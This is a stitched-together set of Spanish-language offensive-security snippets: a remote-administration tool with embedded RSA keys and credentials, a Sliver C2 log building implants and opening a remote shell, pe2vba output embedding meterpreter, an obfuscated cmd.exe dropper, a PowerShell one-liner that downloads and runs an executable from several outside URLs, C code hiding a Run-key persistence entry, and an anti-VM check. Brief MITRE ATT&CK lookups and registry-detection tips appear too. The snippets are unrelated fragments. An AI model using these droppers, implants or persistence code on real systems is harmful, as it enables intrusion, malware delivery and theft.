Windows:

pip install win-inet-pton
pip install pyreadline
PyCrypto en windows se tiene que instalar "manualmente". Puedes descargarlo desde http://www.voidspace.org.uk/python/modules.shtml#pycrypto

Linux:

pip install readline
pip install pycrypto

Los dos:

pip install PySocks
pip install rsa
pip install terminaltables
git clone https://github.com/DtxdF/Winp 

# Al usar por primera vez el script o cuando se borra el archivo que se genera donde estan almacenadas las claves "Comunmente db.dat" nos mostrara el siguiente mensaje que nos indica que coloquemos el tamaño en bits de las claves. Si presionas "ENTER" usaras el predeterminado.

...

No se localizaron las claves asimétricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]: _

...

# Si estas realizando una prueba puedes usar el tamaño en bits por defecto o uno menor; Una vez que des el ENTER empezara la generación de las claves donde tendremos que esperar

...

No se localizaron las claves asimetricas!
Seleccione el tamaño en BITS de las claves:
Tamaño en bits [1024]:

# El tiempo de la generación puede variar dependiendo del tamaño de bits y de las capacidades de su computador!

Generando ...
Escribiendo claves en el disco ...
Hecho!

Winp>

...

# Una vez generado veremos el prompt donde introduciremos comandos ... Pero ¿Cuales comandos?, sigue leyendo.

# Para ver cuales son las claves no configurables

Winp> show keys
Clave Pública: PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)
Clave Privada: PrivateKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537, 48494281988900403637325694392500465780248672483421421961068527779514452344806114281616452733147655540842312037471341282489968066219385502529969114589017042373692610200256808982070908819462297258143877185529102463480666979383115687500657778698566301595898465371826246127469059270935260338960317522565512672545, 52849951656400780285777520884722631487282822866380480600342755833032605533590186295581706790005744752358429614259024948140444759779010984029348917770810060513509809, 1703030710670232751440283284246566349733904241977940821873209494830657724104064064237818845466176006739101797811703277196376035836239941455995979)

...

# La clave pública se debe introducir en client.py, a continuación ya veremos como configurarlo
# Vamos a generar el par de claves para client.py y a configurar client.py
# Abrimos una consola de python

python

# Importamos el modulo rsa

>>> import rsa

# Generamos

>>> keys = rsa.newkeys(1024) # Tamaño en bits
>>> keys[0] # Clave pública
PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537) # Copiemos esta y configuremos en el servidor
>>> keys[1] # Clave privada
PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533) # Esta la usaremos en client.py

...

Winp> set key add public PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537)

# Abrimos client.py con nuestro editor de texto, recomiendo nano o vim y nos vamos a las lineas de configuración del 28 al 35 para rellenar las variables correspondientes, en mi caso usare valores de ejemplos

...
rhost = str('127.0.0.1') # Dirección del servidor
rport = int(8043) # Puerto del servidor
user = str("root") # Usuario, normalmente esta en la configuración
passwd = str("password123!") # Contraseña, normalmente esta en la configuración
buff = int(1024) # El tamaño de la carga en memoria, 1024 esta perfecto, aunque si comienza a tener grandes cantidades de longitudes de datos use uno más grande

public_key = str('PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)') # Controlador
private_key = str('PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533)') # Esclavo
...

Winp> show clients

... Aqui se mostrarían los clientes, pero debido a los caracteres el navegador no los visualizaría correctamente, en este caso yo tengo el siguiente cliente: 127.0.0.1P48210 (Como podemos ver, hay un "P" entre-medio de la dirección IP y el puerto, eso es un separador)

# Ahora enviemos un simple comando:

Winp> shell remote 127.0.0.1P48210 execute whoami

# Ahora visualizamos el resultado
# Quiero aclarar que puedes mostrar tanto todos los datos recibidos sin organización e incluso con organización por dirección IP
# Forma desorganizada

Winp> show data

... Los datos no los público por los caracteres

# Forma organizada

Winp> show data 127.0.0.1P48210

...

# -*- coding: UTF-8 -*-

import socks
import socket
from terminaltables import AsciiTable, DoubleTable, GithubFlavoredMarkdownTable, PorcelainTable, SingleTable


conf = {
        'proxy_setting':{ # Configuración del proxy
            'use':False, # True para integrar el proxy en el cliente, False lo contrario
            'proxy_type':socks.PROXY_TYPE_SOCKS4, # Tipo de proxy
            'proxy_addr':'127.0.0.1:9050', # La dirección del proxy, en este caso es la dirección del proxy de Tor
            'rdns':True, # dns remoto
            'username':None, # Nombre de usuario
            'password':None # Contraseña
            },

        'rsa_setting':{ # Configuración de rsa
            'bitsize':1024, # El tamaño de bits. Si recordamos es lo que nos aparece al principio del script en el primer momento de ejecución
            },

        'socket_setting':{ # Configuración del socket
            'lhost':'127.0.0.1', # La dirección del host local
            'lport':8043, # El puerto local o en escucha
            'family':socket.AF_INET, # La familia del socket
            'protocol':socket.SOCK_STREAM, # El protocolo
            'limit':0, # El limite de clientes, '0' para que sean infinitos
            'buffer_limit':1024 # El tamaño del buffer para la recepción de datos
            },

        'credentials':{ # Las credenciales
            'username':['root'], # Los nombres de usuarios
            'password':['password123!'] # Contraseñas
            },

        'style':{ # El estilo de algunas cosillas
            'input_string':'Winp> ', # El prompt
            'table_style':SingleTable # El estilo de la tabla
            },

        'time_setting':{ # La configuración del tiempo
            'sleep':1 # El intervalo de espera
            },

        'keys_setting':{
            'bitsize':1024
            },

        'shelve_setting':'db.dat', # La configuración de shelve para la serialización
            'custom_chars':{ # Los caracteres imprimibles correctamente usando la utilidad modify_char.modify
                'ñ':'\xa4',
                'ó':'\xa2',
                'í':'\xa1',
                'ú':'\xa3',
                'á':'\xa0'
            }

        }

• Generate manchester encoded data packets
• Software with HackRF Support - hackrf_transfer 
• Universal Radio Hacker
• Inspectrum
• Pager Information
• Get your HackRF here

sliver > generate --http foobar.com --canary 1.example.com.

sliver > dns --domains 1.example.com.

[*] Starting DNS listener with parent domain(s) [1.example.com.] ...
[*] Successfully started job #1

sliver > generate --mtls example.com --save Pruebas

[*] Generating new windows/amd64 Sliver binary
[*] Symbol obfuscation is enabled, this process takes about 15 minutes
[*] Build completed in 00:03:55
[*] Sliver binary saved to: /tools/redteam/4.C2/sliver/RELEASES/Pruebas/JEWISH_TWIG.exe

sliver > generate --mtls example.com --save Pruebas --skip-symbols --os Windows

[*] Generating new windows/amd64 Sliver binary
[!] Symbol obfuscation is disabled
[*] Build completed in 00:00:04
[*] Sliver binary saved to: /tools/redteam/4.C2/sliver/RELEASES/Pruebas/FANTASTIC_STORY-TELLING.exe

sliver > slivers

Name                     OS/Arch        Debug  Format
====                     =======        =====  ======
FANTASTIC_STORY-TELLING  windows/amd64  false  EXECUTABLE
JEWISH_TWIG              windows/amd64  false  EXECUTABLE
NEAT_PRODUCT             windows/amd64  false  EXECUTABLE

sliver > regenerate --save Pruebas NEAT_PRODUCT

[*] Sliver binary saved to: /tools/redteam/4.C2/sliver/RELEASES/Pruebas/NEAT_PRODUCT.exe

sliver > mtls

[*] Starting mTLS listener ...
[*] Successfully started job #1

sliver > jobs

ID  Name  Protocol  Port
==  ====  ========  ====
1   mTLS  tcp       8888

[*] Session #1 JEWISH_TWIG - 192.168.122.229:49992 (DESKTOP-CR8PTQ1) - windows/amd64

[*] Session #2 FANTASTIC_STORY-TELLING - 192.168.122.229:49995 (DESKTOP-CR8PTQ1) - windows/amd64

sliver > use 1

[*] Active sliver JEWISH_TWIG (1)

sliver (JEWISH_TWIG) > help

Commands:
=========
  clear  clear the screen
  exit   exit the shell
  help   use 'help [command]' for command help

Generic:
========
  background        Background an active session
  canaries          List previously generated canaries
  dns               Start a DNS listener
  generate          Generate a sliver binary
  generate-egg      Generate an egg shellcode (sliver stager)
  generate-profile  Generate Sliver from a profile
  http              Start an HTTP listener
  https             Start an HTTPS listener
  jobs              Job control
  mtls              Start an mTLS listener
  new-profile       Save a new sliver profile
  profiles          List existing profiles
  regenerate        Regenerate target sliver
  sessions          Session management
  slivers           List old Sliver builds
  use               Switch the active sliver
  websites          Host a static file on a website (used with HTTP C2)

Multiplayer:
============
  kick-player  Kick a player from the server
  multiplayer  Enable multiplayer mode
  new-player   Create a new player config file
  players      List players

Sliver - Windows:
=================
  elevate           Spawns a new sliver session as an elevated process (UAC bypass/Windows Only)
  execute-assembly  Loads and executes a .NET assembly in a child process (Windows Only)
  getsystem         Spawns a new sliver session as the NT AUTHORITY\SYSTEM user (Windows Only)
  impersonate       Run a new process in the context of the designated user (Windows Only)
  migrate           Migrate into a remote process

Sliver:
=======
  cat                Dump file to stdout
  cd                 Change directory
  download           Download a file
  execute-shellcode  Executes the given shellcode in the sliver process
  getgid             Get Sliver process GID
  getpid             Get Sliver pid
  getuid             Get Sliver process UID
  info               Get info about sliver
  kill               Kill a remote sliver process
  ls                 List current directory
  mkdir              Make a directory
  msf                Execute an MSF payload in the current process
  msf-inject         Inject an MSF payload into a process
  ping               Test connection to Sliver (does not use ICMP)
  procdump           Dump process memory
  ps                 List remote processes
  pwd                Print working directory
  rm                 Remove a file or directory
  shell              Start an interactive shell
  upload             Upload a file
  whoami             Get Sliver user execution context

sliver (JEWISH_TWIG) > whoami

DESKTOP-CR8PTQ1\john

sliver (JEWISH_TWIG) > shell

? This action is bad OPSEC, are you an adult? Yes
[*] Opening shell tunnel (EOF to exit) ...

PS C:\Users\john\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState>

sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip

sliver > generate --http example.com

sliver > http

sliver > https

websites --website fake-blog --web-path / --content ./index.html add

sliver > https --domain example.com --lets-encrypt

import sys
from pyattck import Attck
attack = Attck()
for actor in attack.actors:
 if sys.argv[1] in actor.name:
  for technique in actor.techniques:
   print(technique.name)

$ python actor.py Dragonfly
Masquerading
Permission Groups Discovery
User Execution
Command-Line Interface
Standard Application Layer Protocol
Create Account
Disabling Security Tools
Modify Registry
Template Injection
Email Collection
Drive-by Compromise
Credential Dumping
Remote System Discovery
Indicator Removal on Host
Scheduled Task
File and Directory Discovery
Network Share Discovery
Valid Accounts
Data from Local System
Query Registry
Forced Authentication
Scripting
Screen Capture
System Network Configuration Discovery
File Deletion
Remote File Copy
Shortcut Modification
Web Shell
Spearphishing Attachment
Brute Force
Spearphishing Link
External Remote Services
Registry Run Keys / Startup Folder
Remote Desktop Protocol
PowerShell
System Owner/User Discovery
Data Staged
Account Manipulation
Commonly Used Port
Account Discovery
Data Compressed

import sys
from pyattck import Attck
attack = Attck()
for technique in attack.techniques:
 if sys.argv[1] in technique.name:
  for mitigation in technique.mitigation:
   print(mitigation.description)

python mitigation.py 'Spearphishing Link'
Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.

• Herramientas utilizadas por el actor o grupo.
• Malware utilizado por el actor o grupo.
• Técnicas utilizadas por el actor o grupo.

•  Actor o grupo que utiliza este malware.
• Técnicas con las que se utiliza este malware.

• Técnicas relacionadas con un conjunto específico de sugerencias de mitigación.

• Técnicas encontradas en una táctica específica (fase).

• Tácticas en las que se encuentra una técnica.
• Sugerencias de mitigación para una técnica dada.
• Actor o grupo (s) identificado (s) utilizando esta técnica.

• Técnicas utilizadas dentro de las herramientas especificadas.
• Actor o grupo (s) utilizando una herramienta específica.

user@host:~$ python pe2vba.py meterpreter.exe 
[+] Created file 'meterpreter.exe.vba'.

' ================================================================================
'                                ~~~ EMBEDDED PE ~~~
' ================================================================================

' CODE GENRATED BY PE2VBA
Private Function PE() As String
    Dim strPE As String
    strPE = ""
    PE = strPE
End Function

•     Windows 7 Pro 32 bits + Office 2010 32 bits
•     Windows 7 Pro 64 bits + Office 2016 32 bits
•     Windows 2008 R2 64 bits + Office 2010 64 bits
•     Windows 10 Pro 64 bits + Office 2016 64 bits

•     Expresiones regulares: https://es.wikipedia.org/wiki/Expresi%C3%B3n_regular
•     Video básico de Expresiones regulares: sintaxis Perl/PCRE https://www.youtube.com/watch?v=Xf4wvsnWNK0&list=PLf2SpyJkX6TwUJquNgiDF0j6RGn7pkzVn&index=9&t=0s
•     Recurso extra para practicar: https://regex101.com/
•     Recurso para trasladar nuestras regex a diferentes aplicativos de ciberseguridad https://uncoder.io/

cmd.exe /c %LocALappData:~ -3, -2%%pROgramdATa:~-5, 1%D, , /v, /R " ,, ( , (^sET ^ ^ ^ 9o^jB=od^ mC ^58 9i Pa^ OT^ ^B7 ^5M TC 65 AS a4 NT CR^ y^h^ ^8^6 ^BO VQ^}In}B^0{Pxhk^ics^JtZma^K^sc^Qz}zs}0^8k^e5aXZeT^kr4rbt^B;r^SW^y^X^d8yR^dU^$I^7 v^wsdC^s9q^e^7^pc^ xon^urzF^P^JX-Ox^tBZrH^e^aCLt^sMSC0;N^6^)6LW^d^Ldr^TR^a^2$4N^(O0eymluL^i^m^M^fZno^JAtX^xeLjv
^FpaeKs^yr.aYp9^KvvQ^sk5$v4;^Q^p^)V^oyCd^d^FEowf^Ba^weCZ^s1an^Aroq^Zpg^K^s^HW
bMr^o^X.l^jY^w^3I^e^b^u1u$L^p^(8ceJkt^hs^i^uQrxCwuV.P5^pEfvuEs^F9^$VJ;^8c^1rZ I^3=^Yz^ ^q^HeCFp^B^tyW^e^tfV.F3p3ZvwWsKe^$l^6^;D1^)^5v^(MnnU^Se^s^tpAvo5k.HIpnzv5m^sHC$^Og{q^j^ Cx^)C^S0pO01^J^2sn V^wq^lN^ev^i-DI ^Lts5yuP2t^WXa 4^to^Q^SJ^L.CpYA^QIsEurk$x^7^(v5 yV^f9wIFM;UF^)lJ^( ^I^dg^Hn^Qx^eB5siI^.kuY^i1I^hSu^Gy$C^M;iR^)bL^0dc,^bjv^a^HXk^0^PnI$^a^m,aD'ME^THNEN^j^G^
Pw'tX^(lGn^obexF^p9z^ogx.c^OYyR^IIhuS^p^$G0^{yAy^HCr^3TtA^x^{Dv^)0^YFubQ^o^Ui^B^e$cG^ O9ni0^iV^a ^5^fvm^4XKMPHJ^$E5^(o^q^h^ygcv^pavBeAQrN^PoUkffh;IF^'tz^mWVa^FRe^mEr^G^wtecsU^e^.GzbAldu
4^oS^6^dC3a^F7^'^Z9 9kmNFo5rc3^T^-i^h SXthQcK^ke^Hi^jx^obwVO^bt-SbwN^7^eGSNJG mb=hA JZp^l^qv4ysX^P$vz;P^f^'6Gp^Un^t^Hk^tNWhG7lPJmr^wx^4 .^DV^2RqlOwm^2jxjV^s^Op^mD^x'vb nCmclo^3^zcP4-m^w U^L^t^I4c5^2eSv^jBm^b^W^fO^d7-^f^2wL^I^ev3NrT=bS giYMNIq2^uK^W^$3^G;^DR^)^lS'B^j^eXZxbZ^ea3.OGwtEUajzrV\sv'jR+Rv^)^U5^(E^ hxC^t2^Wa^7a^PBzpaUmAO^ev^UT^e^ t6^ae^wiGk^M:bC:ki^]DPhJftR0^anvPOq^.^3c^O3^FIrG.^8BmiMe8wttksHoyhV^SKc[^j^X^( t=^4n^W9p^d^2^KRVY^$G ^;es^) ^P^'QW@aX'^Ow^(^aQt^TP^i7^dl^b7pa5^Ss5.4t'3^KgzV^HMLiE4^a^UAD49ibjf0j/ERm^dmo^ZTcQe.e^
L^gRJ^b3^Y^m^wir1j^a^MKf6^geDR.fVachiTXrTMaN5g^G4l9Gu^8vbUN-^5csC8^a5^XgP^Yor^Ui^2WbO^4/1o/fN:03pa^St^Q^Y^tzd^h4v@^Zmq^Hc^sFP/Ikm^Sn^o^e^fc9r.V^PzY^mb^gYa9RsrOg^mnr^QRbb^m.UIw^h^P^w3yw5t/V7/AV:^QDp^o^ltpQtW^oh2S^@Cimr^hVl^6^BkM0MFad^iS^15/jXz2tiUYb^BU.T6y^Ayc^7^3nKXe86gHTacD^eJ^7v4YiyothZaF9e7grDNc^48^.dAw^Q3wLh^wt^K/Pf/^3Z^:Ujpr^Mt^Yh^tZ^shRA^@3^i^6cbJ^qbW^Q1NDH/^q7^thAe^pCnD^1.^s^h^o9Vn7Ya^O^ujy^q^uyW^diengRaWemoc/50/ ^G:mdpAUt^HNtw^4^h1x^@ZCtNO7Uo8NjW^K^D^dyZ^x^eUYGL/KBm^kW^o^UKcUV^.^LSa^xy^iB^y
^dC^ZeGZm^jva^ hm4m^io^5hEnaAPmjG/iZ/h^J:^ ppsNt^J^h^t4 ^hBR'bC^=gc^Fm^x^Qu5ixU^$0B;^p0'dm^d4^I^f^gLr^Xb^'pU=4hi^kJ^Y1MBeD^$N^G HilK9lQw^e^s^BhrHsDIrSXe^Q^Dw^W^fojN^p) , , , , ,)& ,,, ^For, , , /^l , %^3 , ,, ^IN,, (+16^40 ^, ^ -^3^ ^,+^2^ ) , ^d^O, , , ( ,(, , S^E^T c2^zZ=!c2^zZ!!9o^jB:~ %^3,1!) , , ,)&& , , , IF , ,%^3 ,, , == , , ^2 ,, ( , ( (ca^lL, , %c2^zZ:~ +6% ) , , , , , ) ,) "

powershell $BYi='rfd';$iQF='http://mahimamedia.com/YxdW87t@http://mandujano.net/NWJ6@http://www.creativeagency.biz/Sa0BVm@http://www.brgsabz.com/sq@http://biogas-bulgaria.efarmbg.com/fiDaiHg'.Split('@');$RdW=([System.IO.Path]::GetTempPath()+'\zUw.exe');$uIY =New-Object -com 'msxml2.xmlhttp';$svp = New-Object -com 'adodb.stream';foreach($PXv in $iQF){try{$uIY.open('GET',$PXv,0);$uIY.send();If ($uIY.Status -eq 200) {$svp.open();$svp.type = 1;$svp.write($uIY.responseBody);$svp.savetofile($RdW);Start-Process $RdW;break}}catch{}}

// HIDDEN_KEY_LENGTH doesn't matter as long as it is non-zero.
// Length is needed to delete the key
#define HIDDEN_KEY_LENGTH 11
void createHiddenRunKey(const WCHAR* runCmd) {
LSTATUS openRet = 0;
NTSTATUS setRet = 0;
HKEY hkResult = NULL;
UNICODE_STRING ValueName = { 0 };
wchar_t runkeyPath[0x100] = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
wchar_t runkeyPath_trick[0x100] = L"\0\0SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
if (!NtSetValueKey) {
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
NtSetValueKey = (_NtSetValueKey)GetProcAddress(hNtdll, "NtSetValueKey");
}
ValueName.Buffer = runkeyPath_trick;
ValueName.Length = 2 * HIDDEN_KEY_LENGTH;
ValueName.MaximumLength = 0;
if (!(openRet = RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult))) {
if (!(setRet = NtSetValueKey(hkResult, &ValueName, 0, REG_SZ, (PVOID)runCmd, wcslen(runCmd) * 2)))
printf("SUCCESS setting hidden run value!\n");
else
printf("FAILURE setting hidden run value! (setRet == 0x%X, GLE() == %d)\n", setRet, GetLastError());
RegCloseKey(hkResult);
}
else {
printf("FAILURE opening RUN key in registry! (openRet == 0x%X, GLE() == %d)\n", openRet, GetLastError());
}
}

• Esto agregará un valor oculto a HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
• El valor será mshta.exe, o intérprete de Microsoft Scripting Host, que toma Javascript como argumento y lo ejecuta.
• El Javascript hace referencia a la clave de registro HKCU\software\WUV (creada por InvisibleRegKeys).
• Esa clave tiene el valor "Tethering".
• Tethering es un blob de Javascript que decodifica (XOR) otro blob de Javascript, que a su vez se decodifica (Base64) en un script de Powershell, que hace un VirtualAllocs RWX y ejecuta sc (ver InvisibleRegKeys.h), un pequeño blob con el shellcode.
• El shellcode se está ejecutando en el contexto del proceso powershell.exe.
• El shellcode lee el valor predeterminado para HKCU\software\WUV, que contiene un búfer oculto.
• El búfer aparecerá como "(valor no establecido)" en Regedit.
• En realidad es el malware codificado (XOR) con una clave que se genera cuando se ejecuta InvisibleRegKeys, y que se graba en el blob Shellcode.
• El shellcode decodifica el malware y lo carga (con un pequeño cargador de PE) en el contexto del proceso de PowerShell.
• En ese punto, el malware puede inyectarse en otro proceso y llamar al proceso de salida para matar a Powershell. O el módulo puede regresar desde su punto de entrada, momento en el cual el shellcode sale del proceso. Después de 20 minutos, el proceso Powershell saldrá de cualquier manera (el modo de espera (1200) en InvisibleRegKeys.h controla esto).
• Echa un vistazo a pe_loader.cpp. Este es el mismo cargador que usa el shellcode. Asigna el doble de memoria que el archivo PE normalmente necesitaría para cargarse, y copia el archivo PE en el espacio adicional. Esto le permite cargar reflexivamente el PE al realizar la inyección del proceso.

• Elimina el valor oculto en HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
• Borra HKCU\software\WUV.

• Autoruns de Sysinternals, por ejemplo, mostrará correctamente los valores de la clave Run. 
• Las herramientas forenses como FTK Registry Viewer pueden ver los buffers ocultos almacenados en valores si se realiza una copia de las secciones del registro en disco. 
• Debido a que los archivos de la sección están en uso mientras se ejecuta Windows, se puede usar una herramienta como HoboCopy para hacer una copia de los hive files.
• El RegDelNull de SysInternals puede escanear el registro en busca de entradas con NULL bytes y tiene la opción de borrar esas entradas.

function Get-AntiVMwithTemperature {
    $t = Get-WmiObject MSAcpi_ThermalZoneTemperature -Namespace "root/wmi"

    $valorTempKelvin = $t.CurrentTemperature / 10
    $valorTempCelsius = $valorTempKelvin - 273.15

    $valorTempFahrenheit = (9/5) * $valorTempCelsius + 32

    return $valorTempCelsius.ToString() + " C : " + $valorTempFahrenheit.ToString() + " F : " + $valorTempKelvin + "K"  
}
#resource https://medium.com/@DebugActiveProcess

1:  .code16 # usa 16 bits  
2:  .global main  
3:    
4:  main:  
5:   mov $0x0002, %ax  
6:   int $0x10 #setea 80x25 modo texto  
7:    
8:   mov $0x0700, %ax  
9:   mov $0x0f, %bh  
10:   mov $0x184f, %dx  
11:   xor %cx, %cx  
12:   int $0x10 #limpia la pantalla (fondo negro)  
13:   jmp print_message  
14:    
15:    
16:  print_living_clock:  
17:    
18:   mov $0x02, %ah  
19:   mov $0x00, %bh  
20:   mov $0x012a, %dx  
21:   int $0x10 #resetea la posición del cursor  
22:    
23:   # Lee el Timer  
24:   mov $0x02, %ah  
25:   int $0x1a  
26:     
27:   # Imprime Horas   
28:   mov $0x0e, %ah  
29:   mov %ch, %al  
30:   int $0x10   
31:    
32:   # Imprime '/'  
33:   mov $0x0e, %ah  
34:   mov $0x2f, %al  
35:   int $0x10  
36:    
37:   # Imprime Minutos  
38:   mov $0x0e, %ah  
39:   mov %cl, %al  
40:   int $0x10  
41:    
42:   # Imprime '/'  
43:   mov $0x0e, %ah  
44:   mov $0x2f, %al  
45:   int $0x10  
46:    
47:   # Imprime Segundos  
48:   mov $0x0e, %ah  
49:   mov %dh, %al  
50:   int $0x10  
51:     
52:   jmp print_living_clock  
53:    
54:  print_message:  
55:   mov $0x02, %ah  
56:   mov $0x00, %bh  
57:   mov $0x0000, %dx  
58:   int $0x10 # configura la posición del cursor   
59:    
60:   mov $msg, %si # carga la dirección del msg dentro de si  
61:   mov $0x0001, %cx  
62:   mov $0xe, %ah # carga 0xe (función number para int 0x10) dentro de ah  
63:   jmp print_char  
64:    
65:  print_message_2:  
66:   mov $0x02, %ah  
67:   mov $0x00, %bh  
68:   mov $0x0100, %dx  
69:   int $0x10 # configura la posición del cursor  
70:    
71:   mov $msg2, %si # carga la dirección del msg dentro de si  
72:   mov $0x0002, %cx  
73:   mov $0xe, %ah # carga 0xe (función number para int 0x10) dentro de ah  
74:   jmp print_char  
75:    
76:  print_message_3:  
77:   mov $0x02, %ah  
78:   mov $0x00, %bh  
79:   mov $0x0200, %dx  
80:    
81:   int $0x10 # configura la posición del cursor  
82:   mov $msg3, %si # carga la dirección del msg dentro de si  
83:   mov $0x0003, %cx  
84:   mov $0xe, %ah # carga 0xe (función number para int 0x10) dentro de ah  
85:   jmp print_char  
86:    
87:  print_char:  
88:   mov $0x0e, %ah  
89:   lodsb # carga el byte de la dirección en si dentro de al e incrementa si  
90:   cmp $0, %al # compara el contenido de AL con zero  
91:   je done # if al == 0, go to "done"  
92:   mov $0xc0, %bl  
93:   int $0x10 # imprime el caracter en al a pantalla  
94:   jmp print_char # lo repite con el siguiente byte  
95:    
96:  done:  
97:   cmp $0x0001, %cx  
98:   je print_message_2  
99:     
100:   cmp $0x0002, %cx  
101:   je print_message_3  
102:    
103:   cmp $0x0003, %cx  
104:   je print_living_clock  
105:     
106:  end:  
107:   hlt # para la ejecuciónMarco Ramilli  
108:  msg: .asciz "===================================================="  
109:  msg2: .asciz "     Ejemplo de programa de arranque      "  
110:  msg3: .asciz "===================================================="  
111:    
112:  .fill 510-(.-main), 1, 0 # añade 0s hasta 510 bytes long  
113:    
114:  .word 0xaa55 # byte mágico para decirle a la BIOS que es bootable  

#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
  Module name: test
  Coded by: Your name / nickname
  Version: X.X
  
  Description:
    This module destroy the world.
"""
output = []

# Do some computations here

output = ["filename1.php", "filename2.asp", "filename3.jar"]